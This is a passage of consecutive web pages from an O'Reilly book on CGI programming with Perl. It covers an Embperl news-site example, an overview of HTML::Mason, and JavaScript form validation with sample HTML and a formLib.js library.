Sun Feb 13, 2000

Finally, we sort the list of stories from largest to smallest according to the article number. Because this is the same as the date the file was created, newest headlines will always appear at the beginning of the list.

When the user selects a headline from the list, the application fetches the corresponding article. Example 6-13 shows the page that displays the articles.

Example 6-13. article.epl

<HTML>

[!
  use lib "/usr/local/apache/lib-perl";
  use News;
!]
[- ( $headline, $article, $date ) = News::get_story( $fdat{story} ) -]

<HEAD>
  <TITLE>[+ $headline +]</TITLE>
</HEAD>

<BODY BGCOLOR="white">
  <H2>[+ $headline +]</H2>
  <P><I>[+ $date +]</I></P>
  [+ local $escmode = 0; $article +]

  <HR>
  <P>Return to <A HREF="news.epl">What's New</A>.</P>

</BODY>
</HTML>

The result looks like Figure 6-4.

Figure 6-4. A sample story

Because most of the work is done by the News module, this file is also quite simple. The links to this page from the main "What's New" page include a query string that specifies the number of the story to view. We use Embperl's special %fdat hash to retrieve the number of the story and pass it to the News::get_story function, which gives us the headline, article contents, and date of the article.

Then we simply need to include tags for these variables in our document where we want to display the data. $article requires some extra consideration. The body of the article contains HTML, but by default Embperl escapes any HTML generated by your Perl blocks, so for example, <P> will be converted to &lt;P&gt;. In order to disable this, we set Embperl's special $escmode variable to 0, and because we provide a local scope to the variable, this change only lasts for the current block and the former value of $escmode is reset after the article is output.

Example 6-14 contains the get_story function from the News module.

Example 6-14. News.pm (part 2 of 3)

sub get_story {
    my( $filename ) = shift(  ) =~ /^(\d+)$/;
    my( $headline, $article );

    unless ( defined( $filename ) and -T "$NEWS_DIR/$filename" ) {
        return "Story Not Found", <<END_NOT_FOUND, get_time( time );
<P>Oops, the story you requested was not found.</P>
<P>If a link on our What's New page brought you here, please
notify the <A HREF="mailto:$ENV{SERVER_ADMIN}">webmaster</A>.</P>
END_NOT_FOUND
    }

    open STORY, "$NEWS_DIR/$filename" or
      die "Cannot open $NEWS_DIR/$filename: $!";
    flock STORY, LOCK_SH;
    $headline = <STORY>;
    chomp $headline;
    local $/ = undef;
    $article = <STORY>;

    return $headline, $article, get_date( $filename );
}

This function takes the story number as a parameter, and the first thing this function does is verify that it is the expected format. The regular expression assignment followed by the defined test may seem like a roundabout way to test this, but we do this in order to untaint the filename; we explain tainting and why it's important in Section 8.4, "Perl's Taint Mode". Finally we make sure that this story exists and is a text file.

If any of our checks fail, we return an error to the user formatted like a standard story. Otherwise, we open the file read the headline and contents, get its date, and return this to the page.

Now let's look at the administrative pages. The administrative pages should be placed in a subdirectory beneath the other files. For example, the files could be installed in the following locations:

.../news/news.epl
.../news/article.epl
.../news/admin/edit_news.epl
.../news/admin/edit_article.epl

This enables us to configure the web server to restrict access to the admin subdirectory. Example 6-15 shows the main administrative page, admin_news.epl.

Example 6-15. admin_news.epl

<HTML>

[!
    use lib "/usr/local/apache/lib-perl";
    use News;
!]

[-
    if ( my( $input ) = keys %fdat ) {
        my( $command, $story ) = split ":", $input;

        $command eq "new" and do {
            $http_headers_out{Location} = "edit_article.epl";
            exit;
        };
        $command eq "edit" and do {
            $http_headers_out{Location} = "edit_article.epl?story=$story";
            exit;
        };
        $command eq "delete" and
            News::delete_story( $story );
    }

    @stories = News::get_stories(  )
-]

<HEAD>
  <TITLE>What's New Administration</TITLE>
</HEAD>

<BODY BGCOLOR="white">
  <FORM METHOD="POST">
    <H2>What's New Administration</H2>

    <P>Here you can edit and delete existing stories as well as create
      new stories. Clicking on a headline will take you to that article
      in the public area; you will need to use your browser's Back button
      to return.</P>
    <HR>

    <TABLE BORDER=1>
    <TR>
      [- ( $story, $headline, $date ) = @{ $stories[$row] } if $stories[$row] -]
      <TD>
        <INPUT TYPE="submit" NAME="edit:[+ $story +]" VALUE="Edit">
        <INPUT TYPE="submit" NAME="delete:[+ $story +]" VALUE="Delete"
          onClick="return confirm('Are you sure you want to delete this?')">
      </TD>
      <TD>
        <A HREF="../article.epl?story=[+ $story +]">[+ $headline +]</A>
        <I>[+ $date +]</I>
      </TD>
    </TR>
    </TABLE>

    <INPUT TYPE="submit" NAME="new" VALUE="Create New Story">
  </FORM>

  <HR>
  <P>Go to <A HREF="../news.epl">What's New</A>.</P>

</BODY>
</HTML>

The result looks like Figure 6-5.

Figure 6-5. Main administrative page for "What's New"

This page must handle a few different requests. If it receives a parameter, it uses a series of conditions to determine how to handle the request. Let's return to these statements after looking at the rest of the file because when the administrator first visits this page, there are no parameters.

Like news.epl, we fetch an array of stories from get_stories, but instead of creating an ordered list and looping over list items, we output a table and loop over rows in this table. For each story, we output a corresponding Edit and Delete button as well as a link to the story. Note that the name of the Edit and Delete buttons contain the command as well as the number of the story separated by a colon. This allows us to pass both pieces of information when the administrator clicks on a button, without restricting us from changing the label of the button. Finally, we add a submit button to the bottom of the page to allow the administrator to add a new story.

All the form elements on these page are submit buttons, and they will only send a name-value pair if they are clicked. Thus, if the administrator clicks a button, the browser will request the same page again, passing a parameter for the selected button. Returning to the conditions at the top of the file, if there is a parameter passed to this file, it is split by colon into $command and $story.

You may have noticed that if the administrator selects the button to create a new story, then the supplied parameter will not include a colon. That's okay because in this case, split will set $command to "new" and $story to undef. If $command is set to "new", we forward the user to the edit_article.epl file. To do this, we assign Embperl's special %http_headers_out variable. Setting the "Location" key to a value outputs a Location HTTP header; we can then exit this page.

If the administrator edits an existing story, we also forward to the edit_article.epl file and exit, but in this case we pass the story number as part of the query string. If the administrator deletes a story, we invoke the delete_story function from our News module and continue processing. Because we gather the list of stories after this deletion, this page will display the updated list of headers.

We also add a JavaScript handler to the delete button to prevent stray mouse clicks from deleting the wrong file. Even if you have decided not to use JavaScript on your public site, it can be very useful for administrative pages with limited access such as this, where you typically can be more restrictive about the browsers supported.

Finally, Example 6-16 presents edit_article.epl, the page that allows the administrator to create or edit articles.

Example 6-16. edit_article.ep

<HTML>

[!
    use lib "/usr/local/apache/lib-perl";
    use News;
!]

[-
    if ( $fdat{story} ) {
        ( $fdat{headline}, $fdat{article} ) =
            News::get_story( $fdat{story} );
    }
    elsif ( $fdat{save} ) {
        News::save_story( $fdat{story}, $fdat{headline}, $fdat{article} );
        $http_headers_out{Location} = "edit_news.epl";
        exit;
    }
-]

<HEAD>
  <TITLE>Edit Article</TITLE>
</HEAD>

<BODY BGCOLOR="white">
  <H2>Edit Article</H2>

  <HR>
  <FORM METHOD="POST">
    <P><B>Headline: </B><INPUT TYPE="text" NAME="headline" SIZE="50"></P>

    <P><B>Article:</B> (HTML formatted)<BR>
      <TEXTAREA NAME="article" COLS=60 ROWS=20></TEXTAREA></P>

    <INPUT TYPE="reset" VALUE="Reset Form">
    <INPUT TYPE="submit" NAME="save" VALUE="Save Article">
    [$ hidden $]
  </FORM>

  <HR>
  <P>Return to <A HREF="edit_news.epl">What's New Administration</A>.
    <I>Warning, you will lose your changes!</I></P>

</BODY>
</HTML>

The result looks like Figure 6-6.

Figure 6-6. Article editing page

If the administrator is editing a page, then the story number will be supplied in the query string. We get this from %fdat and fetch the headline and article contents using get_story. We then set these fields in %fdat so that when Embperl encounters the headline and article form elements later in this file, it will pre-fill these defaults values for us automatically. The hidden command in the form below will be replaced with the story number if it was supplied. This is all we need to do in order to have the form handle new stories as well as edits.

When the administrator submits these changes, the story number (which will be present for edits and undefined for additions), the headline text, and the article text are supplied to the save_story function and the administrator is redirected back to the main administrative page.

The administrative functions from News are shown in Example 6-17.

Example 6-17. News.pm (part 3 of 3)

sub save_story {
    my( $story, $headline, $article ) = @_;
    local *STORY;

    $story ||= time;                        # name new files based on time in secs
    $article =~ s/\015\012|\015|\012/\n/g;  # make line endings consistent
    $headline =~ tr/\015\012//d;            # delete any line endings just in case

    my( $file ) = $story =~ /^(\d+)$/ or die "Illegal filename: '$story'";

    open STORY, "> $NEWS_DIR/$file";
    flock STORY, LOCK_EX;
    seek STORY, 0, 0;
    print STORY $headline, "\n", $article;
    close STORY;
}

sub delete_story {
    my $story = shift;
    my( $file ) = $story =~ /^(\d+)$/ or die "Illegal filename: '$story'";
    unlink "$NEWS_DIR/$file" or die "Cannot remove story $NEWS_DIR/$file: $!";
}

The save_story function takes an optional story file number, a headline, and article contents. If a number is not provided for the story, save_story assumes that this is a new story and generates a new number from date. We convert line endings from browsers on other platforms to the standard line ending for our web server and trim any line-ending characters from the headline because these would corrupt our data.

Again, we test the story number to make sure it is valid and then open this file and write to it, replacing any previous version if this is an update. We get an exclusive lock while we are writing so someone else does not try to read it before we finish (and get a partial news story). The delete_story function simply tests that the filename is valid and removes it.

6.4.6. Summary

As we have seen, Embperl presents a very different approach to generating dynamic output with Perl. We've covered what you need to know in order to develop most Embperl pages, but Embperl has many features and options that we simply do not have room to present. Fortunately, Embperl has extensive documentation, so if you want to learn more about HTML::Embperl, you can download it from CPAN and visit the Embperl website at http://perl.apache.org/embperl/.

Previous | Home | Next
6.3. HTML::Template | Book Index | 6.5. Mason
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Mason (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

6.5. Mason

The HTML::Mason Perl module, often referred to as Mason, is another template solution. Like Embperl, it allows you to embed full Perl expressions within HTML documents. However, unlike the other template solutions already mentioned, Mason focuses on supporting components that can be embedded within one another. This goes beyond creating modular CGI code. For many web sites, especially large ones, multiple elements on each page as well as overall page layout is shared across many pages. Mason allows you to modularize HTML as well as code and reuse both throughout your web site.

For example, a web page may be composed of a header and footer that is shared across your web site and possibly a navigation sidebar that is shared across many pages. With Mason you can create components for each of these that can easily be included in documents. Mason does not distinguish between static components and dynamic components; any component may include code and include other components. Mason also allows components to act as filters.

Although it also supports a CGI mode, Mason -- more than Embperl -- essentially requires mod_perl . First, due to the component nature of Mason, it makes much more sense to have it handle files directly instead of having requests pass through a CGI script. Second, because Mason is written entirely in Perl (unlike Embperl, which contains compiled C), it is much less efficient when not used with mod_perl, because with mod_perl the Perl source is only loaded, interpreted, and compiled once instead of with each request.

Thus, Mason is not truly CGI technology. On the other hand, given Mason's increasing popularity, it seems inappropriate to omit Mason in a discussion of HTML template solutions. We will limit our discussion to an overview that allows you to compare against other solutions. For more information on Mason, visit the site at http://www.masonhq.com/.

6.5.1. A Component Approach

Mason's component approach differs from the other solutions we've discussed; those solutions differed from each other primarily by the degree of power and complexity of their template commands. You can create a component architecture with the other template solutions as well, but not to the same degree that you can with Mason. Here is how the other solutions compare in this regard:

  • As we saw in our footer example earlier (see Chapter 6, "HTML Templates"), SSI's include command works great but SSI commands are limited to static documents: you can include CGI script output in HTML documents but not vice versa.

  • HTML::Template has a similar TMPL_INCLUDE command, but you can only include literal file contents that are interpreted as part of the same template and executed in the context of the current CGI script. HTML::Template was not designed to allow the dynamically generated output of one CGI script in the output of another. It is possible, but it's messy (refer to the FAQ section of the HTML::Template documentation).

  • Embperl is powerful enough that you can make it do just about whatever you need, but its emphasis is not on components, and it does not have all of the features that Mason has for filtering or automatically executing components according to preset rules.

  • Mason does not draw a distinction between files containing code, files containing HTML, or even files containing data. Any text file can be included as a component within any other file. Mason also supports filters and autohandlers that allow you to modify the output of existing components without editing them directly.

  • For the sake of comparison, CGI.pm does not offer a way to include the output of one dynamic request within another without using another module such as LWP. Typically, however, you would move the code that needs to be shared into a module that can be used by several CGI scripts. Static content can of course be manually included by reading and printing the file in Perl.

Does this mean that Mason is a better solution than the others? Not at all -- it is only better suited for those sites with many shared components that can benefit from it. Mason can make such sites easier to maintain if they are designed well, but it does add complexity because maintainers must understand all of the interactions between the different components. What looks like a single page to a browser may be comprised of several separate components, so maintainers need to know where to look to make changes. It also requires HTML designers to work closely with CGI developers because the line between the two can get fuzzy with Mason. However, for large sites where it makes sense, it can certainly be an elegant solution.

Previous | Home | Next
6.4. Embperl | Book Index | 7. JavaScript
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JavaScript (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 7. JavaScript

Contents:

Background
Forms
Data Exchange
Bookmarklets

Looking at the title of this chapter, you probably said to yourself, "JavaScript? What does that have to do with CGI programming or Perl?" It's true that JavaScript is not Perl, and it cannot be used to write CGI scripts.[9] However, in order to develop powerful web applications we need to learn much more than CGI itself. Therefore, our discussion has already covered HTTP and HTML forms and will later cover email and SQL. JavaScript is yet another tool that, although not fundamental to creating CGI scripts, can help us create better web applications.

[9]Some web servers do support server-side JavaScript, but not via CGI.

In this chapter, we will focus on three specific applications of JavaScript: validating user input in forms; generating semiautonomous clients; and bookmarklets. As we will soon see, all three of these examples use JavaScript on the client side but still rely on CGI scripts on the server side.

This chapter is not intended to be an introduction to JavaScript. Since many web developers learn HTML and JavaScript before turning to Perl and CGI, we will assume you've had some exposure to JavaScript already. If you haven't, or if you are interested in learning more, you may wish to refer to JavaScript: The Definitive Guide by David Flanagan (O'Reilly & Associates, Inc.).

7.1. Background

Before we get started, let's discuss the background of JavaScript. As we said, we'll skip the introduction to JavaScript programming, but we should clear up possible confusions about what we mean when we refer to JavaScript and how JavaScript relates to similar technologies.

7.1.1. History

JavaScript was originally developed for Netscape Navigator 2.0. JavaScript has very little to do with Java despite the similarity in names. The languages were developed independently, and JavaScript was originally called LiveScript. However Sun Microsystems (the creator of Java) and Netscape struck a deal, and LiveScript was renamed to JavaScript shortly before its release. Unfortunately, this single marketing decision has confused many who believe that Java and JavaScript are more similar than they are.

Microsoft later created their own JavaScript implementation for Internet Explorer 3.0, which they called JScript . Initially, JScript was mostly compatible with JavaScript, but then Netscape and Microsoft developed their languages in different directions. The dynamic behavior provided in the latest versions of these languages is now very different.

Fortunately, there have been efforts to standardize these languages via ECMAScript and DOM. ECMAScript is an ECMA standard that defines the syntax and structure of the language that JScript and JavaScript will become. ECMAScript itself is not specific to the Web and is not directly useful as a language because it doesn't do anything; it only defines a few very basic objects. That's where the Document Object Model (DOM) comes in. The DOM is a separate standard being developed by the World Wide Web Consortium to define the objects used with HTML and XML documents without respect to a particular programming language.

The end result of these efforts is that JavaScript and JScript should one day adopt both the ECMAScript standard as well as the DOM standard. They will then share a uniform structure and a common model for interacting with documents. At this point they will both become compatible and we can write client-side scripting code that will work across all browsers that support this standard.

Despite the distinction between JavaScript and JScript, most people use the term JavaScript in reference to any implementation of JavaScript or JScript, regardless of browser; we will also use the term JavaScript in this manner.

7.1.2. Compatibility

The biggest issue with JavaScript is the problem we just discussed: browser compatibility. This is not something we typically need to worry about with CGI scripts, which execute on the web server. JavaScript executes in the user's browser, so in order for our code to execute, the browser needs to support JavaScript, JavaScript needs to be enabled (some users turn it off), and the particular implementation of JavaScript in the browser needs to be compatible with our code.

You must decide for yourself whether the benefits that you gain from using JavaScript outweigh these requirements that it places upon the user. Many sites compromise by using JavaScript to provide enhanced functionality to those users who have it, but without restricting access to those users who do not. Most of our examples in this chapter will follow this model. We will also avoid newer language features and confine ourselves to JavaScript 1.1, which is largely compatible between the different browsers that support JavaScript.

Previous | Home | Next
6.5. Mason | Book Index | 7.2. Forms
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Forms (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

7.2. Forms

Probably the most popular use for JavaScript with web applications is to improve HTML forms. Standard HTML forms aren't very smart. They simply accept input and pass it on to the web server where all the processing must occur. With JavaScript, however, we can do much more on the client side. JavaScript can validate input before it is sent to the server. Forms can also dynamically react to user input and update fields in order to provide immediate feedback to the user; a dynamic form can often substitute for multiple static forms.

The benefit JavaScript provides for the server is that it shifts some work that might otherwise be done on the server to the client, and it reduces the number of server requests. The benefit JavaScript provides to the user is that it provides immediate feedback without a delay while the browser fetches a new page.

7.2.1. Input Validation

When you create an HTML form, you generally expect the user to fill it out in a particular way. There are numerous types of restrictions a form may have. For example, some of the fields may only accept numbers while others may only accept dates, some fields may only accept a certain range of entries, some fields may be required, and some combinations of fields may not permitted. All of these examples must be handled by only two types of checks: the first is to validate each element user's input as the data is entered; the second is to perform the validation when the form is submitted.

7.2.1.1. Validating elements

Checking a form element when the user enters a value is most effective for validating the format or range of a particular element. For example, if a field only accepts numbers, you can verify that the user did not enter any non-numeric characters.

To perform this check, we use the onChange event handler. This handler supports the following form elements: Text, TextArea, Password, File Upload, and Select. For each of these elements, we can register an onChange handler and assign it code to execute when the element changes. We register it simply by adding it as an attribute to the HTML tag that creates the element. For example:

<INPUT TYPE="text" name="age" onChange="checkAge( this );">

This runs the function checkAge and passes it a reference to itself via this. checkAge looks like this:

function checkAge ( element ) {
    if ( element.value != parseInt( element.value ) ||
         element.value < 1 || element.value > 150 ) {
        alert( "Please enter a number between 1 and 150 for age." );
        element.focus(  );
        return false;
    }
    return true;
}

This function checks that the age entered is an integer and between 1 and 150 (sorry if you happen to be 152, but we have to draw the line somewhere).

If checkAge determines that the input is invalid, it displays an alert asking the user to enter the value again (Figure 7-1), and moves the cursor back to the age field via element.focus( ) . It then returns true or false depending on whether the check was successful or not. This isn't necessary, but it does help us if we later decide to string multiple function calls together as you'll see later in Example 7-2.

Figure 7-1. JavaScript alert

Note that we don't need to call a function to handle onChange. We can assign multiple statements directly to the onChange handler. However, it's often much easier to work with HTML documents when the JavaScript is kept together as much as possible, and functions help us to do this. They also allow us to share code when we have multiple form elements that require the same validation. For functions that you use often, you can go a step further and place these in a JavaScript file that you can include in multiple HTML files. We'll see an example of this in Figure 7-2.

7.2.1.2. Validating submits

The other way that we can perform data validation is to do so just before the form is submitted. This is the best time to check whether required fields have been filled or to perform checks that involve dependencies between multiple elements. We perform this check with JavaScript's onSubmit handler.

onSubmit works like the onChange handler except that it is added as an attribute of the <FORM> tag:

<FORM METHOD="POST" ACTION="/cgi/register.cgi" onSubmit="return checkForm(this);">

There's another difference you may notice. The onSubmit handler returns the value of the code that it calls. If the onSubmit handler returns false, it cancels the submission of the form after the handler code has run. In any other case, the form submission continues. Return values have no effect on the onChange handler.

Here is the function that checks our form:

function checkForm ( form ) {
    if ( form["age"].value == "" ) {
        alert( "Please enter your age." );
        return false;
    }
    return true;
}

This example simply verifies that a value was entered for age. Remember, our onChange handler is not enough to do this because it is only run when the value for age changes. If the user never fills in a value for age, the onChange handler will never be called. This is why we check for required values with onSubmit.

7.2.1.3. Validation example

Let's look at a complete example. It seems that more and more web sites want users to register and provide lots of personal information in order to use their web site. We'll create a slightly exaggerated version of a registration form (Figure 7-2).

Figure 7-2. Our sample user registration form

Note that this form applies only to United States residents. In practice, Internet users come from around the world, so you must be flexible with your validation to accommodate the various international formats for phone numbers, postal codes, etc. However, since the purpose of this example is to demonstrate validation, we'll restrict the formats to one set that can be easily validated. The required formats for phone numbers and social security numbers are shown. In addition, the zip code is a five-digit postal code.

The HTML is shown in Example 7-1.

Example 7-1. input_validation.html

<html>
  <head>
    <title>User Registration</title>
    <script src="/js-lib/formLib.js"></script>
    <script><!--
      function validateForm ( form ) {

          requiredText = new Array( "name", "address", "city", "zip",
                                    "home_phone", "work_phone", "age",
                                    "social_security", "maiden_name" );

          requiredSelect = new Array( "state", "education" );
          requiredRadio  = new Array( "gender" );

          return requireValues ( form, requiredText   ) &&
                 requireSelects( form, requiredSelect ) &&
                 requireRadios ( form, requiredRadio  ) &&
                 checkProblems (  );
      }
    // -->
    </script>
  </head>

  <body bgcolor="#ffffff">

    <h2>User Registration Form</h2>

    <p>Hi, in order for you to access our site, we'd like first to get as
      much personal information as we can from you in order to sell to other
      companies. You don't mind, do you? Great! Then please fill this out as
      accurately as possible.</p>

    <p>Note this form is for U.S. residents only. Others should use the
      <a href="intl_registration.html">International Registration
      Form</a>.</p>

    <hr>

    <form method="POST" action="/cgi/register.cgi"
      onSubmit="return checkValues( this, requiredText ) && checkMenus">
    <form method="GET" onSubmit="return validateForm( this );">
      <table border=0>
        <tr><td>
            Name:
          </td><td>
            <input type="text" name="name" size="30" maxlength="30">
          </td></tr>
        <tr><td>
            Address:
          </td><td>
            <input type="text" name="address" size="40" maxlength="50">
          </td></tr>
        <tr><td>
            City:
          </td><td>
            <input type="text" name="city" size="20" maxlength="20">
          </td></tr>
        <tr><td>
            State:
          </td><td>
            <select name="state" size="1">
              <option value="">Please Choose a State</option>
              <option value="AL">Alabama</option>
              <option value="AK">Alaska</option>
              <option value="AZ">Arizona</option>
                  .
                  .
                  .
              <option value="WY">Wyoming</option>
            </select>
          </td></tr>
        <tr><td>
            Zip Code:
          </td><td>
            <input type="text" name="zip" size="5" maxlength="5"
                onChange="checkZip( this );">
          </td></tr>
        <tr><td>
            Home Phone Number:
          </td><td>
            <input type="text" name="home_phone" size="12" maxlength="12"
              onChange="checkPhone( this );">
            <i>(please use this format: 800-555-1212)</i>
          </td></tr>
        <tr><td>
            Work Phone Number:
          </td><td>
            <input type="text" name="work_phone" size="12" maxlength="12"
              onChange="checkPhone( this );">
            <i>(please use this format: 800-555-1212)</i>
          </td></tr>
        <tr><td>
            Social Security Number (US residents only):
          </td><td>
            <input type="text" name="social_security" size="11" maxlength="11"
              onChange="checkSSN( this );">
            <i>(please use this format: 123-45-6789)</i>
          </td></tr>
        <tr><td>
            Mother's Maiden Name:
          </td><td>
            <input type="text" name="maiden_name" size="20" maxlength="20">
          </td></tr>
        <tr><td>
            Age:
          </td><td>
            <input type="text" name="age" size="3" maxlength="3"
              onChange="checkAge( this );">
          </td></tr>
        <tr><td>
            Gender:
          </td><td>
            <input type="radio" name="gender" value="male"> Male
            <input type="radio" name="gender" value="female"> Female
          </td></tr>
        <tr><td>
            Highest Education:
          </td><td>
            <select name="education" size="1">
              <option value="">Please Choose a Category</option>
              <option value="grade">Grade School</option>
              <option value="high">High School Graduate (or GED)</option>
              <option value="college">Some College</option>
              <option value="junior">Technical or Junior College Degree</option>
              <option value="bachelors">Four Year College Degree</option>
              <option value="graduate">Post Graduate Degree</option>
            </select>
          </td></tr>
        <tr>
          <td colspan=2 align=right>
            <input type="submit">
          </td></tr>
      </table>
    </form>

  </body>
</html>

You don't see much JavaScript here because most of it is in a separate file that is included with the following pair of tags on line 5:

<script src="/js-lib/formLib.js" ></script>

The contents of formLib.js are shown in Example 7-2.

Example 7-2. formLib.js

// formLib.js
// Common functions used with forms
//

// We use this as a hash to track those elements validated on a per element
// basis that have formatting problems
validate = new Object(  );

// Takes a value, checks if it's an integer, and returns true or false
function isInteger ( value ) {
    return ( value == parseInt( value ) );
}

// Takes a value and a range, checks if the value is in the range, and
// returns true or false
function inRange ( value, low, high ) {
    return ( !( value < low ) && value <= high );
}

// Checks values against formats such as '#####' or '###-##-####'
function checkFormat( value, format ) {
    var formatOkay = true;
    if ( value.length != format.length ) {
        return false;
    }
    for ( var i = 0; i < format.length; i++ ) {
        if ( format.charAt(i) == '#' && ! isInteger( value.charAt(i) ) ) {
            return false;
        }
        else if ( format.charAt(i) != '#' &&
                  format.charAt(i) != value.charAt(i) ) {
            return false;
        }
    }
    return true;
}

// Takes a form and an array of element names; verifies that each has a value
function requireValues ( form, requiredValues ) {
    for ( var i = 0; i < requiredValues.length; i++ ) {
        element = requiredText[i];
        if ( form[element].value == "" ) {
            alert( "Please enter a value for " + element + "." );
            return false;
        }
    }
    return true;
}

// Takes a form and an array of element names; verifies that each has an
// option selected (other than the first; assumes that the first option in
// each select menu contains instructions)
function requireSelects ( form, requiredSelect ) {
    for ( var i = 0; i < requiredSelect.length; i++ ) {
        element = requiredSelect[i];
        if ( form[element].selectedIndex <= 0 ) {
            alert( "Please select a value for " + element + "." );
            return false;
        }
    }
    return true;
}

// Takes a form and an array of element names; verifies that each has a
// value checked
function requireRadios ( form, requiredRadio ) {
    for ( var i = 0; i < requiredRadio.length; i++ ) {
        element = requiredRadio[i];
        isChecked = false;
        for ( j = 0; j < form[element].length; j++ ) {
            if ( form[element][j].checked ) {
                isChecked = true;
            }
        }
        if ( ! isChecked ) {
            alert( "Please choose a " + form[element][0].name + "." );
            return false;
        }
    }
    return true;
}

// Verify there are no uncorrected formatting problems with elements
// validated on a per element basis
function checkProblems (  ) {
    for ( element in validate ) {
        if ( ! validate[element] ) {
            alert( "Please correct the format of " + element + "." );
            return false;
        }
    }
    return true;
}

// Verifies that the value of the provided element has ##### format
function checkZip ( element ) {
    if ( ! checkFormat( element.value, "#####" ) ) {
        alert( "Please enter a five digit zip code." );
        element.focus(  );
        validate[element.name] = false;
    }
    else {
        validate[element.name] = true;
    }
    return validate[element.name];
}

// Verifies that the value of the provided element has ###-###-#### format
function checkPhone ( element ) {
    if ( ! checkFormat( element.value, "###-###-####" ) ) {
        alert( "Please enter " + element.name + " in 800-555-1212 " +
               "format." );
        element.focus(  );
        validate[element.name] = false;
    }
    else {
        validate[element.name] = true;
    }
    return validate[element.name];
}

// Verifies that the value of the provided element has ###-##-#### format
function checkSSN ( element ) {
    if ( ! checkFormat( element.value, "###-##-####" ) ) {
        alert( "Please enter your Social Security Number in " +
               "123-45-6789 format." );
        element.focus(  );
        validate[element.name] = false;
    }
    else {
        validate[element.name] = true;
    }
    return validate[element.name];
}

// Verifies that the value of the provided element is an integer between 1 and 150
function checkAge ( element ) {
    if ( ! isInteger( element.value ) ||
         ! inRange( element.value, 1, 150 ) ) {
        alert( "Please enter a number between 1 and 150 for age." );
        element.focus(  );
        validate[element.name] = false;
    }
    else {
        validate[element.name] = true;
    }
    return validate[element.name];
}

We use both types of validation in this example: validating elements as they are entered and validating the form as a whole when it is submitted. We create a validate object that we use like a Perl hash. Whenever we validate an element, we add the name of this element to the validate object and set it to true or false depending on whether the element has the correct format. When the form is submitted, we later loop over each element in validate to determine if there are any elements that had formatting problems and were not fixed.

The functions that handle specific field validation are checkZip, checkPhone, checkSSN, and checkAge. They are called by the onChange handler for each of these form elements and the functions appear at the bottom of formLib.js. Each of these functions use the more general functions isInteger, isRange, or checkFormat to check the formatting of the element they are validating. isInteger and isRange are simple checks that return whether a value is an integer or whether it is within a particular numeric range.

checkFormat takes a value as well as a string containing a format to check the value against. The structure of our format string is quite simple: a pound symbol represents a numeric digit and any other character represents itself. Of course, in Perl we could easily do checks like this with a regular expression. For example, we could match social security number with /^\d\d\d-\d\d-\d\d\d\d$/. Fortunately, JavaScript 1.2 also supports regular expressions. Unfortunately, there are still many browsers on the Internet that only support JavaScript 1.1, most notably Internet Explorer 3.0.

When the form is submitted, the onSubmit handler calls the validateForm function. This function builds an array of elements such as text boxes that require values, an array of select list elements that require a selection, and an array of radio button group elements that require a checked value. These lists are passed to requireValues, requireSelects, and requireRadios, respectively, which verify that these elements have been filled in by the user.

Finally, the checkProblems function loops over the properties in the validate object and returns a boolean value indicating whether there are any elements that still have formatting problems. If requireValues, requireSelects, requireRadios, or checkProblems fail, then they display an appropriate message to the user and return false, which cancels the submission of the form. Otherwise, the form is submitted to the CGI script which handles the query like any other request. In this case, the CGI script would record the data in a file or database. We won't look at the CGI script here, although we will discuss saving data like this on the server in Chapter 10, "Data Persistence".

7.2.1.4. Validating twice

Note that we said that the CGI script would handle a request coming from a page with JavaScript validation just like it would handle any other request. When you do data validation with JavaScript, there's an important maxim you need to keep in mind: Never rely on the client to do your data validation for you. When you develop CGI scripts, you should always validate the data you receive, whether the data is coming from a form that performs JavaScript validation or not. Yes, this means that we are performing the same function twice. The theory behind this is that you should never trust data that comes from the client without checking it yourself. As we mentioned earlier, JavaScript may be supported by the user's browser or it may be turned off. Thus, you cannot rely on JavaScript validation being performed. For a more detailed discussion of why it is a bad idea to trust the user, refer to Chapter 8, "Security".

Thus, we may often write our data validation code twice, once in JavaScript for the client, and again in our CGI script. Some may argue that it is poor design to write the same code twice, and they are right in that avoiding duplicate code is a good principle of designing maintainable code. However, in this situation, we can provide two counter-arguments.

First, we need to do data validation in the CGI script because it is also good programming practice for each component to validate its input. The JavaScript code is part of the client user interface; it receives data from the user and validates it in preparation for sending it to the server. It sends the data on to the CGI script, but the CGI script must again validate that the input it receives is in the proper format because the it doesn't know (nor should it care) what processing the client did or did not do on its end. Similarly, if our CGI script then calls a database, the database will again validate the input that we sent on to it, etc.

Second, we gain much by doing JavaScript validation because it lets us validate as close to the user as possible. If we perform data validation on the client using JavaScript, we avoid unnecessary network connections because if JavaScript notices an invalid entry, it can immediately notify the user who can correct the form before it is submitted. Otherwise, the client must submit the form to the server, a CGI script must validate the input and return a page reporting the error and allowing the user to fix the problem. If there are multiple errors, it may take a few tries to get it right.

In many cases, performing the extra check with JavaScript is worth the trade-off. When deciding whether to use JavaScript validation yourself, consider how often you expect the interface and the format of the data to change and how much extra effort is involved in maintaining JavaScript validation code in addition to CGI script validation code. You can then weigh this effort against the convenience to the user.

Previous | Home | Next
7. JavaScript | Book Index | 7.3. Data Exchange
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Exchange (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

7.3. Data Exchange

If you place enough functionality in JavaScript-enabled web pages, they can become semiautonomous clients that the user can interact with independent of CGI scripts on the server. The most recent versions of JavaScript provide the ability to create queries to web servers, load the response in hidden frames, and react to this data. In response to queries such as these, CGI scripts are not outputting HTML; they're typically outputting raw data that is being handled by another application. We'll explore the concept of information servers further when we'll discuss XML in Chapter 14, "Middleware and XML".

As JavaScript's abilities have expanded, one question that web developers sometimes ask is how they can move their complex data structures from their Perl CGI scripts into JavaScript. Perl and JavaScript are different languages with different data structures, so it can be challenging creating dynamic JavaScript.

7.3.1. WDDX

Exchanging data between different languages isn't a new challenge of course, and fortunately someone else has already addressed this same problem. Allaire, the makes of Cold Fusion, wanted a way to exchange data between different web servers on the Internet. Their solution, Web Distributed Data Exchange, or WDDX, defines a common data format that various languages can use to represent basic data types. WDDX uses XML, but you don't need to know anything about XML to use WDDX because there are modules that provide a simple interface for using it in many languages including Perl and JavaScript. Thus, we can convert a Perl data structure into a WDDX packet that can then be converted into a native data structure in JavaScript, Java, COM (this includes Active Server Pages), ColdFusion, or PHP.

